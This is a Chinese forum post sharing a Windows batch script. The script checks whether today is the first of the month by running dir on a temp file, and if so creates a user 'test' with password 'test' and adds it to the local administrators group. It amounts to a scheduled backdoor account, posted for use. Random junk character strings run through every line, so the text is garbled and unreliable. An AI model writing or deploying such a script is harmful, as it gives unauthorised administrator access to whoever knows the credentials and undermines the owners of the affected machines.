|
我也没有测试过,今天早上来看了看,发现没用,真是晕...
5 v1 M; e1 O. f* A2 P$ a; }! j原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗? 1 |1 }+ {) _# M9 F: [( n7 Z3 `
后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~ 8 L" f: F# M y" a" r
# b+ k- K, q2 Q1 K! } {
2 F' e' |" Q& m7 h; m1 S L, x, m 所以 ,重点部份改成:
8 B3 r- i& {9 c" L@echo off
0 W" O0 G* ^$ z/ n0 ~7 Urem \\在C:建立一个空文件date.tmp * Y6 a4 Z& k( D5 d5 @0 V3 ]6 e
type nul >c:\date.tmp
& }0 _& `2 H6 m5 B9 k8 y, `5 [rem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01-
% O. T% b( V4 r: C" t/ E6 Idir c:\date.tmp | find "-01-">nul 1 k3 M9 ?! p/ D3 t2 M
rem 如是不是1号,跳到end结束
4 I3 r5 W7 }' t& S+ N Aif errorlevel 1 goto end
& n5 b3 `( D( f1 C, d; b \# `rem 如是是1号,跳到run执行
( N) [6 g, V. f$ J( ~6 \) I1 wif errorlevel 0 goto run
+ D4 m4 A- D* M; ?% d6 [: ^4 Z:run
- H5 B* X, |( X2 x- anet user test test /add ) s3 X! ~# J; Y. {
net localgroup administrators test /add $ B" [+ E3 d+ d7 Q' S. i! A
goto end 9 t5 t0 n+ k# I# d
:end , ]& }2 f9 A8 l" x9 D
del c:\date.tmp >nul 1 E, K6 F; I9 f( v! u Z& {
|# A6 [' U- |5 T' |5 `6 I3 h7 z/ j5 k4 _
/ C- p. b2 U* s# e! ]
|